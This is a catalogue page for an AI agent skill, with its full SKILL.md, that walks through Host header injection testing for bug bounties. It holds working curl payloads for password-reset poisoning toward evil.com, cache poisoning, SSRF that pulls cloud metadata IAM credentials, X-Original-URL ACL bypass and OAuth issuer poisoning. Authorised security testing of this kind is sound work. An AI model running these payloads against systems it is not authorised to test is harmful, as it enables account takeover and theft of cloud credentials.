hunt-host-header — скилл для Claude Code
Скилл hunt-host-header для Claude прогоняет веб-приложение по проверкам инъекции в заголовок Host: отравление сброса пароля вплоть до захвата аккаунта, кэша и OAuth-редиректов.
MIT ★ 16 193 обновлён 2026-10-29
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsoulsЧто делает hunt-host-header
Скилл работает по фазам. Начинает со сброса пароля: подмена Host, добавление X-Forwarded-Host или X-Host, два заголовка Host в одном запросе, значение с портом или @ для путаницы парсеров. Дальше идёт кэш, где отражённый подставной хост должен попасть в абсолютные ссылки страницы и лежать на ключе, который делят другие посетители.
Третья часть про маршрутизацию и обход прав. Host выбирает внутренний апстрим вроде метаданных облака или админки, а X-Original-URL и X-Rewrite-URL перебивают путь, который прикрывал edge-ACL. Отдельно идут OAuth и OIDC с redirect_uri и issuer в discovery-документе, плюс ссылки в письмах, собранные из параметров запроса.
Опора: публичные работы PortSwigger и James Kettle. В отчёте скилл требует называть воспроизведённое поведение, а не чужой CVE или номер HackerOne. Тестировать он велит только на своём зарегистрированном аккаунте, потому что запрос чужого сброса вредит живому пользователю. Для подтверждения нужен домен Burp Collaborator, иначе токен из письма не перехватить.
Какие задачи решает
- поймать подмену
Hostв форме восстановления пароля - проверить, кэширует ли CDN ответ с отражённым
X-Forwarded-Host - увести запрос через
Hostна внутренние метаданные облака - обойти edge-ACL с помощью
X-Original-URLиX-Rewrite-URL - посмотреть, управляет ли
Hostполем issuer в OIDC
Примеры запросов агенту
- Прогони hunt-host-header на форме восстановления пароля: подставь мой тестовый аккаунт и скажи, меняется ли хост в ссылке из письма.
- Проверь кэш: отражается ли
X-Forwarded-Hostв абсолютных ссылках страницы и на каком ключе лежит ответ. - Посмотри OAuth-эндпоинт и discovery-документ: влияет ли заголовок
Hostна значение issuer.
Как установить hunt-host-header
1Через маркетплейс плагинов
/plugin marketplace add elementalsouls/Claude-BugHunter/plugin install claude-bughunter@elementalsoulsКоманда ставит плагин claude-bughunter целиком, со всеми его скиллами
2Через Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-host-header -a claude-code3Вручную: положить файлы
~/.claude/skills/hunt-host-header/SKILL.mdПапка скилла целиком; для одного проекта — .claude/skills/hunt-host-header/
1Через Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-host-header -a codex2Вручную: положить файлы
.agents/skills/hunt-host-header/SKILL.mdДля всех проектов — ~/.agents/skills/
1Через Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-host-header -a cursor2Вручную: положить файлы
.cursor/skills/hunt-host-header/SKILL.mdCursor читает и .agents/skills/, и .claude/skills/
1GitHub CLI
gh skill install elementalsouls/Claude-BugHunter skills/hunt-host-header2Вручную: положить файлы
.github/skills/hunt-host-header/SKILL.md1Через Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-host-header -a gemini-cli2Командой платформы
gemini skills install https://github.com/elementalsouls/Claude-BugHunter --path skills/hunt-host-headerВручную: положить файлы
.devin/skills/hunt-host-header/SKILL.mdСтарый путь .windsurf/skills/ тоже читается
Claude.ai
Упакуйте папку в zip и загрузите в Settings → Capabilities → Skills
По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов
Вопросы о hunt-host-header
Как установить hunt-host-header в Claude Code?
Добавьте маркетплейс командой /plugin marketplace add elementalsouls/Claude-BugHunter, затем поставьте плагин: /plugin install claude-bughunter@elementalsouls.
Что делает hunt-host-header?
Проверяет приложение на инъекцию в заголовок Host: сброс пароля, отравление веб-кэша, SSRF через маршрутизацию, подмену пути и порчу OAuth-редиректов. Цепочка, доходящая до захвата аккаунта или массового отравления кэша, оценивается как High или Critical.
На каком аккаунте можно тестировать?
Только на своём зарегистрированном тестовом аккаунте: чужой запрос сброса пароля задевает реального пользователя. Чтобы перехватить токен из письма, нужен домен Burp Collaborator.
Исходный текст
SKILL.md · MIT
---
name: hunt-host-header
description: "Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and the classic password-reset-poisoning class). Use on any forgot-password flow, CDN/reverse-proxy-fronted app, OAuth/OIDC endpoint, or absolute-URL-in-email feature."
sources: portswigger_research, hackerone_public
report_count: 16
---
# HUNT-HOST-HEADER — Host Header Injection
## Grounding / Provenance
This skill is built from the public Host-header attack literature, not invented payloads.
Cite the *technique source* in your report, never a fabricated ID:
- **Password-reset poisoning class** — the canonical write-up is Skelet's/Detectify-era
"Practical HTTP Host header attacks" (the Django `request.get_host()` → password-reset-link
case). Many frameworks built the reset URL from the request Host with no `ALLOWED_HOSTS`-style
allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
- **Web cache poisoning via unkeyed Host / X-Forwarded-Host** — PortSwigger Research,
James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020).
These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
- **Routing-based SSRF** — PortSwigger Research, "Cracking the lens" / routing-based SSRF
(Host header steers the front-end's upstream selection).
When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT
on a fresh key, OOB hit from your Collaborator). Do **not** copy a CVE or H1 ID you have not
verified — a missing citation is always better than a wrong one.
---
## Crown Jewel Targets
Host header injection that reaches password reset links = Critical (ATO for any user).
**Highest-value chains:**
- **Password reset poisoning → ATO** — server builds the reset link from the request Host;
attacker sets `Host: evil.com`; the victim's reset email points the token at the attacker →
token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting*
their own reset leaks the token to evil.com.
- **Web cache poisoning via unkeyed Host** — a CDN/reverse proxy caches a response that reflects
an attacker `X-Forwarded-Host` into an absolute URL (script src, link, redirect) → poisoned
entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
- **Routing-based SSRF** — the front-end uses the *Host header itself* to pick the upstream;
`Host: 169.254.169.254` (or an internal hostname) makes it forward your request to that target
→ cloud metadata / internal admin panels.
- **Path-override SSRF / ACL bypass** — IIS/ASP.NET/Spring honour `X-Original-URL` /
`X-Rewrite-URL` to override the routed path → reach `/admin` or internal endpoints the edge
ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
- **OAuth/OIDC poisoning** — Host drives `redirect_uri` or the OIDC `issuer` / discovery doc →
auth-code or token theft → ATO.
---
## Attack Surface Signals
```
Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
```
**Dangerous header candidates (unkeyed / trusted inputs):**
```
Host X-Forwarded-Host X-Host
X-Forwarded-Server X-HTTP-Host-Override Forwarded
X-Original-URL X-Rewrite-URL X-Override-URL (path-override class)
```
---
## Step-by-Step Hunting Methodology
> Always test against **your own** registered test account. Never request another user's reset.
### Phase 1 — Password Reset Poisoning
```bash
# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" \
-H "X-Forwarded-Host: evil.com" \
-d "[email protected]"
# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET" -H "X-Host: evil.com" \
-d "[email protected]"
# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\[email protected]' "$TARGET" \
| openssl s_client -quiet -connect $TARGET:443 2>/dev/null
# 1e. Absolute-URL injection: keep real Host, append attacker host so the
# reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET.evil.com" -d "[email protected]"
# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
-H "Host: $TARGET:[email protected]" -d "[email protected]"
```
**Confirm:** open the reset email *in your own test inbox* and read the link host. The token must
appear under an attacker-controlled host (`evil.com`, `$TARGET.evil.com`, or a Collaborator
domain) for this to be a real finding. **Use a Burp Collaborator domain as the injected host** so
that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and
have proof — see Validation.
### Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host
Mechanism: this is a **reflection** bug, not an OOB bug. The injected host must be *reflected into
the response body* (an absolute URL, script `src`, `<link href>`, `<base href>`, redirect
`Location`, or canonical/og:url) **and** that response must be **cached on a key you do not
control**. No Collaborator callback is expected from the cache test itself — only later, if a
victim's browser loads the poisoned absolute URL.
```bash
# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
-H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
| grep -i "canary"
# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
| grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
# Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
# Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.
# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison
curl -s "$URL" | grep -i "evilcdn.example" # clean victim view → reflected = POISONED
```
**False-positive killers (mandatory):**
- A reflection that only ever appears for *your* request (because the header is **keyed**, e.g. in
`Vary`, or the CDN includes Host in the key) is **not** poisoning — confirm 2c returns the
payload on a request that *omits* the header.
- `Age: 0` + `MISS` every time → no shared cache → no mass impact. Demote to self-only / Low.
- Confirm blast radius from a **second machine / fresh egress IP / incognito** before claiming
"mass". Cache scope is often per-edge / per-cookie / per-geo.
### Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)
These operate at different layers. Test them separately; they do **not** compose into one request.
**(3A) Routing-based SSRF — the Host header selects the upstream.** The path goes on the
**request line**, exactly as a normal request, because the metadata service / internal host serves
plain HTTP and only sees the request line + headers you forward. `X-Original-URL` is irrelevant
here — the EC2 IMDS ignores it.
```bash
# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"
# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
-H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
-H "Host: 169.254.169.254" -H "Metadata: true"
# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379" # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"
# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"
```
**(3B) Path-override SSRF / ACL bypass — `X-Original-URL` / `X-Rewrite-URL`.** This is an
IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the *routed path*. The real Host
stays put; you are bypassing an **edge path ACL**, not steering an upstream. Keep the real Host.
```bash
# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
```
> The old probe `Host: 169.254.169.254` + `X-Original-URL: /latest/meta-data/` was wrong: those
> two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.
### Phase 4 — OAuth / OIDC / SAML Poisoning
```bash
# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
-H "Host: evil.com" | grep -iE "redirect|location|action="
# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
| grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"
```
**Confirm:** the auth code / token must actually be delivered to the attacker host (capture on
Collaborator) — a reflected string alone is not ATO.
### Phase 5 — Header Fuzzing (Param Miner)
Burp **Param Miner → Guess headers** is faster and finds unkeyed/cache-affecting headers the list
below misses. Manual sweep:
```bash
HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
echo "=== $H ==="
curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
| grep -iE "location|x-cache|cf-cache|age|set-cookie"
done
```
---
## Chain Table
| Finding | Chain to | Impact |
|---------|----------|--------|
| Reset link host = attacker (own test acct) | Collaborator-host injection → capture token on click | Critical — ATO any user |
| X-Forwarded-Host reflected in absolute URL + cacheable, unkeyed | Poison key → clean fetch returns payload → load XSS/redirect | High — mass cache poisoning |
| Front-end routes by Host | `Host: 169.254.169.254` path-on-request-line → creds | High/Critical — SSRF → cloud creds |
| `X-Original-URL` overrides path | Reach `/admin` blocked at edge | High — ACL bypass / SSRF |
| OAuth redirect_uri/issuer built from Host | Re-point flow → capture code/token on Collaborator | Critical — ATO via code theft |
---
## Validation (house discipline)
✅ **Password reset:** the token URL in **your own test account's email** uses an
attacker-controlled host. Strongest proof = inject a **Collaborator** host and show the inbound
HTTP hit carrying the token when the link is clicked/previewed (OOB capture).
✅ **Cache poison:** a request that **omits** the injected header (fresh egress IP / incognito)
still returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or
`MISS`/`Age:0` only.
✅ **Routing SSRF:** real response body from `169.254.169.254` / internal host, **or** an OOB
DNS/HTTP hit on your Collaborator from the front-end (blind case).
✅ **Path-override:** status/body diff vs the edge-blocked direct request proves the override took.
✅ **OAuth/OIDC:** the auth code / token is actually delivered to the attacker host (captured),
not merely reflected.
**Always rule out false positives:**
- Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check `Vary`, second IP).
- A 200 echoing your Host string is not SSRF unless the *response content* came from the internal
target or your Collaborator fired.
- Some mailers rewrite links to a fixed `SITE_URL` regardless of Host — reflected header in the
HTTP response does not guarantee a poisoned *email*; verify the email body.
**Severity:**
- Reset → ATO for any user: Critical
- Routing SSRF → cloud metadata creds: Critical (if creds usable) / High
- Cache poisoning → mass XSS/redirect (shared key proven): High
- Path-override → internal/admin reach: High
- Reflected only, uncacheable, not in email, no internal reach: Low / informational
© Sachin Sharma · MIT · elementalsouls/Claude-BugHunter